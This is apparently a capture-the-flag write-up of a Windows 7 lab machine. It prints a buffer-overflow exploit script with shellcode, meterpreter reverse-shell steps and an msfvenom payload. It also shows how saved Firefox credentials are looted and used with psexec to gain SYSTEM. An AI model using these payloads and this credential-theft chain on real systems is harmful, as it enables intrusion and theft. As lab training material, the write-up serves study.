

gatekeeper

OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

Computer name: gatekeeper

After nmap I saw a port 445 open, this mean SMB port is open, I used SMBclient to navigate and check for shares

I copied gatekeeper.exe to my local machine using mget command,,

```
(zxczxc@kali)-[~/Desktop/thm/gatekeeper]
$ smbclient \\\\10.10.18.117\\Users -U 'guest'
Password for [WORKGROUP\\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
.                DR              0    Fri May 15 0
9:57:08 2020
..               DR              0    Fri May 15 0
9:57:08 2020
Default          DHR             0    Tue Jul 14 1
15:07:31 2009
desktop.ini      AHS             174  Tue Jul 14 1
12:54:24 2009
Share            D               0    Fri May 15 0
9:58:07 2020

Active Machine Information

7863807 blocks of size 4096. 3967963 blocks av
ailable
smb: \> dir
IP Address      Expires
10.18.117      1h 09m 51s
.                DR              0    Fri May 15 09:57:08 2020
..               DR              0    Fri May 15 09:57:08 2020
Default          DHR             0    Tue Jul 14 15:07:31 2009
desktop.ini      AHS             174  Tue Jul 14 12:54:24 2009
Share            D               0    Fri May 15 09:58:07 2020

7863807 blocks of size 4096. 3967926 blocks available
smb: \> cd Share
smb: \Share\> dir
.                D               0    Fri May 15 09:58:07 2020
..               D               0    Fri May 15 09:58:07 2020
gatekeeper.exe   A             13312  Mon Apr 20 13:27:17 2020

7863807 blocks of size 4096. 3934904 blocks available
smb: \Share\>
```

here gatekeeper.exe accepts input and then spit out what you typed..It seems we need to give it a malicious code and it will process the malicious code that we will give

```
WSAStartup failed: %d
31337
getaddrinfo failed: %d
socket() failed with error: %ld
bind() failed with error: %d
listen() failed with error: %ld
[+] Listening for connections.
accept failed: %d
```

```
(zxczxc@kali)-[~/Desktop/thm/gatekeeper]
$ nc 192.168.50.49 31337
hello
Hello hello!!!
```

```
C:\Users\cert-ph\Desktop>gatekeeper.exe
[+] Listening for connections.
Received connection from remote host.
Connection handed off to handler thread.
```

I was in a bit of studying about buffer overflow, I spent a lot of days studying and watching youtube to learn about, stack, buffer, pointers etc... I watched multiple tutorials to learn about this topic computerphile, overgrownhackingcarrot, cybermentor.... so I forgot to take notes about using Immunity Debugger,, but here are the commands that I used

so after installing Immunity debugger, I also gone ahead and installed Mona.py (this will help in automating finding bad characters)

I only had the screenshot of me getting the exploit working,,,, buit in reality I spent lot of hours and I forgot to take screenshot of every payload I created to get it working... I was only able to take screenshot after the payload worked


```
#080414c3 jmp location
#080414C3 08 04 14 C3
# 08 04 14 C3  ? FFE4      JMP ESP
```

```
ip = '10.10.18.117'
port = 31337
```

```
#offset = 146
# 080414C3
```

```
offset = 'A'*146
retn = '\xc3\x14\x04\x08'
padding = '\x90'*8
payload = (
```

```
"\xbf\xfa\x6d\xc1\xfa\xdd\xc4\xd9\x74\x24\xf4\x5d\x29\xc9"
"\xb1\x52\x31\x7d\x12\x83\xed\xfc\x03\x87\x63\x23\x0f\x8b"
"\x94\x21\xf0\x73\x65\x46\x78\x96\x54\x46\x1e\xd3\xc7\x76"
"\x54\xb1\xeb\xfd\x38\x21\x7f\x73\x95\x46\xc8\x3e\xc3\x69"
"\xc9\x13\x37\xe8\x49\x6e\x64\xca\x70\xa1\x79\x0b\xb4xdc"
"\x70\x59\x6d\xaa\x27\x4d\x1a\xe6\xfb\xe6\x50\xe6\x7b\x1b"
"\x20\x09\xad\x8a\x3a\x50\x6d\x2d\xee\xe8\x24\x35\xf3\xd5"
"\xff\xce\xc7\xa2\x01\x06\x16\x4a\xad\x67\x96\xb9\xaf\xa0"
"\x11\x22\xda\xd8\x61\xdf\xdd\x1f\x1b\x3b\x6b\xbb\xbb\xc8"
"\xcb\x67\x3d\x1c\x8d\xec\x31\xe9\xd9\xaa\x55\xec\x0e\xc1"
"\x62\x65\xb1\x05\xe3\x3d\x96\x81\xaf\xe6\xb7\x90\x15\x48"
"\xc7\xc2\xf5\x35\x6d\x89\x18\x21\x1c\xd0\x74\x86\x2d\xea"
"\x84\x80\x26\x99\xb6\x0f\x9d\x35\xfb\xd8\x3b\xc2\xfc\xf2"
"\xfc\x5c\x03\xfd\xfc\x75\xc0\xa9\xac\xed\xe1\xd1\x26\xed"
"\x0e\x04\xe8\xbd\xa0\xf7\x49\x6d\x01\xa8\x21\x67\x8e\x97"
"\x52\x88\x44\xb0\xf9\x73\x0f\xb5\xef\x3d\xdc\xa1\x0d\xc1"
"\xf3\x6d\x9b\x27\x99\x9d\xcd\xf0\x36\x07\x54\x8a\xa7\xc8"
"\x42\xf7\xe8\x43\x61\x08\xa6\xa3\x0c\x1a\x5f\x44\x5b\x40"
"\xf6\x5b\x71\xec\x94\xce\x1e\xec\xd3\xf2\x88\xbb\xb4\xc5"
"\xc0\x29\x29\x7f\x7b\x4f\xb0\x19\x44\xcb\x6f\xda\x4b\xd2"
"\xe2\x66\x68\xc4\x3a\x66\x34\xb0\x92\x31\xe2\x6e\x55\xe8"
"\x44\xd8\x0f\x47\x0f\x8c\xd6\xab\x90\xca\xd6\xe1\x66\x32"
"\x66\x5c\x3f\x4d\x47\x08\xb7\x36\xb5\xa8\x38\xed\x7d\xc8"
"\xda\x27\x88\x61\x43\xa2\x31\xec\x74\x19\x75\x09\xf7\xab"
"\x06\xee\xe7\xde\x03\xaa\xaf\x33\x7e\xa3\x45\x33\x2d\xc4"
"\x4f"
)
```

```
buffer = offset + retn + padding + payload
```

```
try:
```

```
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip,port))
    print('Sending bytes....')
    r = s.send(bytes(buffer + "\r\n", "latin-1"))
    s.recv(1024)
    print('Done')
```

```
except:
```

```
    print('Cant connect moron')
    sys.exit()
```

and then I got the cmd shell, using the msf, I used shell_to_meterpreter module to spawn a meterpreter

```
View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > set LHOST tun0
LHOST => 10.18.70.19
msf6 post(multi/manage/shell_to_meterpreter) > session 3
[-] Unknown command: session
msf6 post(multi/manage/shell_to_meterpreter) > set session 3
session => 3
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 3
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.18.70.19:4433
[-] Powershell is not installed on the target
[*] Command stager progress: 14.11% (1699/12045 bytes)
[*] Command stager progress: 23.21% (3398/12045 bytes)
[*] Command stager progress: 42.32% (5097/12045 bytes)
[*] Command stager progress: 56.42% (6766/12045 bytes)
[*] Command stager progress: 76.93% (8495/12045 bytes)
[*] Command stager progress: 84.29% (10153/12045 bytes)
[*] Command stager progress: 98.17% (11825/12045 bytes)
[*] Command stager progress: 100.00% (12045/12045 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > session 5
[*] Sending stage (200774 bytes) to 10.10.18.117
[*] Meterpreter session 5 opened (10.18.70.19:4433 => 10.10.18.117:49175) at 2024-01-03 16:10:57 +0800
[*] Stopping exploit/multi/handler

msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > sessions
```

and then I created another payload for a stable meterpreter shell using metasploit

```
(zxczxc@kali) - [~/Desktop/thm/gatekeeper]
$ msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.18.117 LPORT=1337 -f exe > penny.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

(zxczxc@kali) - [~/Desktop/thm/gatekeeper]
```



```
meterpreter > sysinfo
Computer      : GATEKEEPER
OS           : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 1
Meterpreter  : x86/windows
meterpreter >
```

we can see a firefox.lnk file, and this is going to be used to exploit and get admin account

| Mode | Size | Type | Last modified | Name |
|------------------|-------|------|---------------------------|---------------------|
| 100666/rw-rw-rw- | 1197 | fil | 2020-04-22 05:00:33 +0800 | Firefox.lnk |
| 100666/rw-rw-rw- | 282 | fil | 2020-04-22 04:57:09 +0800 | desktop.ini |
| 100777/rwxrwxrwx | 13312 | fil | 2020-04-20 13:27:17 +0800 | gatekeeper.exe |
| 100777/rwxrwxrwx | 135 | fil | 2020-04-22 09:53:23 +0800 | gatekeeperstart.bat |
| 100777/rwxrwxrwx | 73802 | fil | 2024-01-03 16:35:39 +0800 | penny.exe |
| 100666/rw-rw-rw- | 140 | fil | 2020-05-15 09:43:14 +0800 | user.txt.txt |

```
meterpreter > ls
Listing: C:\Users\natbat\Desktop
```

{H4lf_W4y_Th3r3}

I used a metasploit module to gather firefox credentials

```
meterpreter > run post/multi/gather/firefox_creds

[-] Error loading USER S-1-5-21-663372427-3699997616-3390412905-1000: Hive could not be loaded, are you Admin?
[*] Checking for Firefox profile in: C:\Users\natbat\AppData\Roaming\Mozilla\

[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release
[+] Downloaded cert9.db: /home/zxczxc/.msf4/loot/20240103164705_default_10.10.18.117_ff.ljfn812a.cert_834249.bin
[+] Downloaded cookies.sqlite: /home/zxczxc/.msf4/loot/20240103164709_default_10.10.18.117_ff.ljfn812a.cook_649470.bin
[+] Downloaded key4.db: /home/zxczxc/.msf4/loot/20240103164716_default_10.10.18.117_ff.ljfn812a.key4_615222.bin
[+] Downloaded logins.json: /home/zxczxc/.msf4/loot/20240103164719_default_10.10.18.117_ff.ljfn812a.logi_566528.bin

[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\rajfzh3y.default
```

Once downloaded, I moved them into my gatekeeper folder, and for this, we need to use a tool called firefox_decrypt to get the password from the firefox

```
(zxczxc@kali)-[~/opt/windows]
$ git clone https://github.com/unode/firefox_decrypt.git
Cloning into 'firefox_decrypt' ...
remote: Enumerating objects: 1343, done.
remote: Counting objects: 100% (454/454), done.
remote: Compressing objects: 100% (108/108), done.
remote: Total 1343 (delta 361), reused 416 (delta 341), pack-reused 889
Receiving objects: 100% (1343/1343), 485.89 KiB | 3.63 MiB/s, done.
Resolving deltas: 100% (843/843), done.
```

```
(zxczxc@kali)-[~/opt/windows]
$
```

after gathering the firefox profile, I moved them to the gatekeeper directory and renamed them accordingly

```
(zxczxc@kali)-[~/Desktop/thm/gatekeeper/firefox]
$ ls
20240103164705_default_10.10.18.117_ff.ljfn812a.cert_834249.bin
20240103164709_default_10.10.18.117_ff.ljfn812a.cook_649470.bin
20240103164716_default_10.10.18.117_ff.ljfn812a.key4_615222.bin
20240103164719_default_10.10.18.117_ff.ljfn812a.logi_566528.bin
conv
```

```
(zxczxc@kali)-[~/Desktop/thm/gatekeeper/firefox/conv]
$ ls
cert9.db  cookies.sqlite  key4.db  logins.json
```

and then I run the firefox_decrypt_tool and got the username and password

```

(zxczxc@kali)-[~/Desktop/thm/gatekeeper/firefox/conv]
$ python ~/opt/windows/firefox_decrypt/firefox_decrypt.py .
2024-01-03 17:36:35,397 - WARNING - profile.ini not found in .
2024-01-03 17:36:35,397 - WARNING - Continuing and assuming '.' is a profile location

Website: https://creds.com
Username: 'mayor'
Password: '8CL701N78MdrCIsV'

```

Website: <https://creds.com>
 Username: 'mayor'
 Password: '8CL701N78MdrCIsV'

Now let's try psexec with the given credentials, I read the impacket-psexec help menu

```

(zxczxc@kali)-[~]
$ impacket-psexec
Impacket v0.11.0 - Copyright 2023 Fortra

usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-codec CODEC]
               [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB]
               [-dc-ip ip address] [-target-ip ip address] [-port [destination port]]
               [-service-name service_name] [-remote-binary-name remote_binary_name]
               target [command ...]

PSEXEC like functionality example using RemComSvc.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command              command (or arguments if -c is used) to execute at the target (w/o
                        path) - (default:cmd.exe)

options:
  -h, --help            show this help message and exit
  -c pathname           copy the filename for later execution, arguments are passed in the
                        command option
  -path PATH           path of the command to execute
  -file FILE           alternative RemCom binary (be sure it doesn't require CRT)
  -ts                 adds timestamp to every logging output
  -debug              Turn DEBUG output ON
  -codec CODEC        Sets encoding used (codec) from the target's output (default
                        "utf-8"). If errors are detected, run chcp.com at the target, map
                        the result with
                        https://docs.python.org/3/library/codecs.html#standard-encodings
                        and then execute smbexec.py again with -codec and the corresponding
                        codec

```

and I used this syntax and luckily I was able to get a shell with a NT AUTHORITY\SYSTEM meaning we are admin


```
(zxczxc@kali)-[~/Desktop/thm/gatekeeper/firefox/conv] 10.18.117)
$ impacket-psexec mayor:8CL701N78MdrCIsV@10.10.18.117
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.18.117.....
[*] Found writable share ADMIN$
[*] Uploading file pqxfwniv.exe
[*] Opening SVCManager on 10.10.18.117.....
[*] Creating service hROG on 10.10.18.117.....
[*] Starting service hROG.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>
```

f

Finally we can get the root flag

```
C:\Users\mayor> cd Desktop

C:\Users\mayor\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 3ABE-D44B

Directory of C:\Users\mayor\Desktop

05/14/2020  08:58 PM    <DIR>          .
05/14/2020  08:58 PM    <DIR>          ..
05/14/2020  08:21 PM                27 root.txt.txt
               1 File(s)                27 bytes
               2 Dir(s) 16,252,751,872 bytes free

C:\Users\mayor\Desktop> type root.txt.txt
{Th3_M4y0r_C0ngr4tul4t3s_U}

C:\Users\mayor\Desktop>
```

{Th3_M4y0r_C0ngr4tul4t3s_U}